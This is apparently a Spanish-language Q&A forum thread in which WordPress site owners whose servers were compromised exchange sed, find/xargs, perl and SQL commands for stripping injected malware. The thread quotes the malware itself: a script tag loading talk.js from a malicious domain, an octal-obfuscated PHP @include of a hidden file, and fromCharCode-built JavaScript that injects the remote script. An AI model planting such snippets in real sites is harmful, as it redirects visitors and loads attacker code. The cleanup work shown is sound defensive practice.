Cómo reemplazar una cadena completa usando sed o posiblemente grep

10

Entonces, todo mi servidor fue pirateado o tuvo el problema del malware. mi sitio está basado en WordPress y la mayoría de los sitios alojados en mi servidor está basado en WordPress. El hacker agregó esta línea de código a cada archivo y en la base de datos

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Lo busqué a través de grep usando

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Estoy tratando de reemplazarlo en toda la estructura del archivo sedy he escrito el siguiente comando.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Estoy tratando de reemplazar la cadena en un solo archivo index.phpprimero, así que sé que funciona.

y sé que mi código está mal Por favor, ayúdame con esto.

Intenté con el código de @ Eran y eliminó toda la línea, lo cual es bueno y como se esperaba. Sin embargo, la jerga total es esta

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Y aunque deseo eliminar todo el contenido, deseo mantener la etiqueta de apertura de php <?php.

Aunque la solución de @ slybloty es fácil y funcionó.

para eliminar completamente el código de todos los archivos afectados. Estoy ejecutando los siguientes 3 comandos, gracias a todos por esto.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Para eliminar la línea de script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Para quitar la @includelínea
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Para eliminar la línea de comentario

Además, ejecuté los 3 comandos nuevamente '*.html', porque el script del hacker creó index.html no deseado en todos los directorios. No estaba seguro si eliminar estos index.html en masa es el enfoque correcto.

ahora, todavía necesito averiguar los archivos basura y las huellas de los mismos.

La secuencia de comandos hacker también agregó el código JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Tratando de ver si puedo sedhacerlo también.

Dilip Gupta
fuente
¿Cómo sabes que tu código está mal?
Beta
Porque, lo ejecuté y sigue pidiendo más información en la siguiente línea como `>`
Dilip Gupta
2
¿No puedes simplemente borrar la línea? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan el
1
Además, puede agregar su grep allí para alimentar todos los archivos con esta línea como esta: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" la -lopción solo proporciona el nombre del archivo y no el texto correspondiente.
Jason
1
Una cosa más ... Si adopta este enfoque, aprovecharía el parámetro opcional "copia de seguridad" para sed -i. Por ejemplo, sed -i.bakcreará un *.bakarchivo para todos los archivos que se editan. Cuando se usa con el while...grepbucle, solo hará una copia de seguridad de los archivos que contengan esa cadena. Perdón por todos los comentarios adicionales, pero en mi opinión, el malware es un escenario de "todas las manos en cubierta".
Jason

Respuestas:

2

Use comillas dobles ( ") para la cadena y no escape las comillas simples ( ') ni las etiquetas ( <>). Solo escapa de las barras ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
slybloty
fuente
2

Cualquiera sea el método que decida usar con sed, puede ejecutar múltiples procesos simultáneamente en múltiples archivos con opciones de filtrado perfectas con findy xargs. Por ejemplo:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Va a:

  • find - encontrar
  • -type f - solo archivos
  • -name '*.txt' - que termina con php
  • -print0 - pritnlos separados por cero bytes
  • | xargs -0 - para cada archivo separado por cero byte
  • -P7 - ejecuta 7 procesos de forma concisa
  • -n1 - para cada archivo
  • sed - para cada archivo ejecutado sed
  • -i - edite el archivo en su lugar
  • '...' - el script sed que desea ejecutar desde otras respuestas.

Es posible que desee agregar una -topción xargspara ver el progreso. Ver man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).

KamilCuk
fuente
2

Las comillas simples se toman literalmente sin caracteres de escape. En var='hello\'', tiene una cotización no cerrada.

Para solucionar este problema, 1) Use comillas dobles para rodear el sedcomando O 2) Termine la cadena entre comillas simples, agregue \'y vuelva a abrir la cadena de comillas.

Sin embargo, el segundo método es más confuso.

Además, sedpuede usar cualquier delimitador para separar comandos. Como tiene barras en los comandos, es más fácil usar comas. Por ejemplo, usando el primer método:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Usando el segundo método:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Este ejemplo es más educativo que práctico. Así es como '\''funciona:

Primero ': Finalizar la cadena literal citada actual

\': Ingrese comillas simples como caracteres literales

Segundo ': Reingrese la cadena literal citada

Mientras no haya espacios allí, solo continuará su sedcomando. Esta idea es exclusiva de bash.

Dejo el escape <y >allí porque no estoy completamente seguro de para qué lo estás usando. sedutiliza el \<y \>para significar coincidencia de palabras. No estoy seguro de si eso es intencional o no.

Si esto no coincide con nada, entonces probablemente desee evitar escapar de <y >.

Editar: consulte la solución de @ EranBen-Natan en los comentarios para obtener una solución más práctica al problema real. Mi respuesta es más un recurso en cuanto a por qué se le solicitó a OP más información con su comando original.

Solución para editar 2

Para que esto funcione, supongo que sedtiene la opción no estándar -z. La versión de GNU seddebería tener esto. También estoy asumiendo que este código siempre aparece en el formato de 6 líneas de largo

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Cómo funciona: estamos utilizando el comienzo de la línea fromCharCode para que coincida con todo. -zdivide el archivo en nulos en lugar de nuevas líneas. Esto nos permite buscar saltos de línea directamente.

[^\n]*\n- Esto coincide con todo hasta un avance de línea, y luego coincide con el avance de línea, evitando la coincidencia codiciosa de expresiones regulares. Debido a que no estamos dividiendo los saltos de línea ( -z), la expresión regular var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\ncoincide con la mayor coincidencia posible. Por ejemplo, si \n}\napareciera en algún lugar más abajo en el archivo, eliminaría todo el código entre allí y el código malicioso. Por lo tanto, repetir esta secuencia 6 veces nos hace coincidir con el final de la primera línea y con las siguientes 5 líneas.

grep -lr- Solo un recursivo grepdonde solo enumeramos los archivos que tienen el patrón correspondiente. De esta manera, sedno está editando todos los archivos. Sin esto, -i.bak(no está claro -i) haría un desastre.

Jason
fuente
Gracias @ Jason, probaré tu método para esto. En este momento, no tengo opción para la copia de seguridad. Así que estoy atascado con la limpieza.
Dilip Gupta
@DilipGupta Sugeriría retroceder donde está ahora. Puede usar algo como rsynchacer una copia de seguridad y restaurar.
Jason
¿Usas adminer.php? parece infectable
Jiro Matchonson
1

¿Tiene instalado el complemento wp-mail-smtp? Tenemos el mismo malware y teníamos algo extraño wp-content/plugins/wp-mail-smtp/src/Debug.php.

Además, el enlace de JavaScript está en todos los post_contentcampos de la wp_postsbase de datos de WordPress.

skuroedov
fuente
Sí, tengo ese complemento instalado y está allí como dijiste. Estoy tratando de limpiar primero y luego reforzar la seguridad. También tenga en cuenta que el hacker instaló el complemento llamado super-socialat, verifique eso también.
Dilip Gupta
¿Qué encontraste exactamente en Debug.php? No se encontró un nuevo complemento instalado.
Jiro Matchonson
1
¿Qué editor has usado? Si abro eso en vim, puedo ver esa cosa weid, pero no en nano o en algún editor como Geany ... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov
Hola, estaba mirando eso a través de winscp, pero ahora también probé vi, todavía no encontré nada. Tnx mucho por ejemplo Ill tri para buscarlo en archivos.
Jiro Matchonson
Desde un punto de vista ligero, parece ser una instrucción sql que se escribe usando posiciones de letras en la variable $ GLOBALS o algo así, por lo que no se puede encontrar simplemente buscando "trasnaltemyrecords" Intenté buscar grep -r "NULL ); @ $ "/ var / www / html / { ,. } u otras cosas pero no encontré nada. De todos modos, tenía un viejo adminer.php en la página de WordPress para que también pudiera ser la fuente de esa filtración, tal vez ...
Jiro Matchonson
0

Hoy recibí lo mismo, todas las publicaciones de la página agregaron este desagradable script de virus

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Lo deshabilité de la base de datos por

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

No tengo archivos infectados al menos

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

no encontré nada, pero no tengo idea de cómo llegó esto a la base de datos de la que no estoy nada tranquilo.

Esta infección causó redireccionamientos en las páginas, Chrome principalmente detecta y bloquea esto. No noté nada extraño en - /wp-mail-smtp/src/Debug.php

Jiro Matchonson
fuente
Supongo que esto está relacionado con algunas interrupciones del complemento y el hacker obtuvo el acceso de puerta trasera al sitio.
Dilip Gupta
Pero qué complemento, pasaron 2 viviendas y todo volvió a redirigirse
Jiro Matchonson
0

Hoy tengo lo mismo, todas las publicaciones de la página tienen el script agregado. Me las he arreglado con éxito usando https://en.wordpress.org/plugins/search-and-replace/ plugin.

Además, también he encontrado un registro en la columna wp_posts post_content column siguiente cadena:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

y lo eliminé manualmente.

mik013
fuente
0

Para mí funcionó esto:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Tienes que buscar: * .js, * .json, * .map

Vladimír Malík
fuente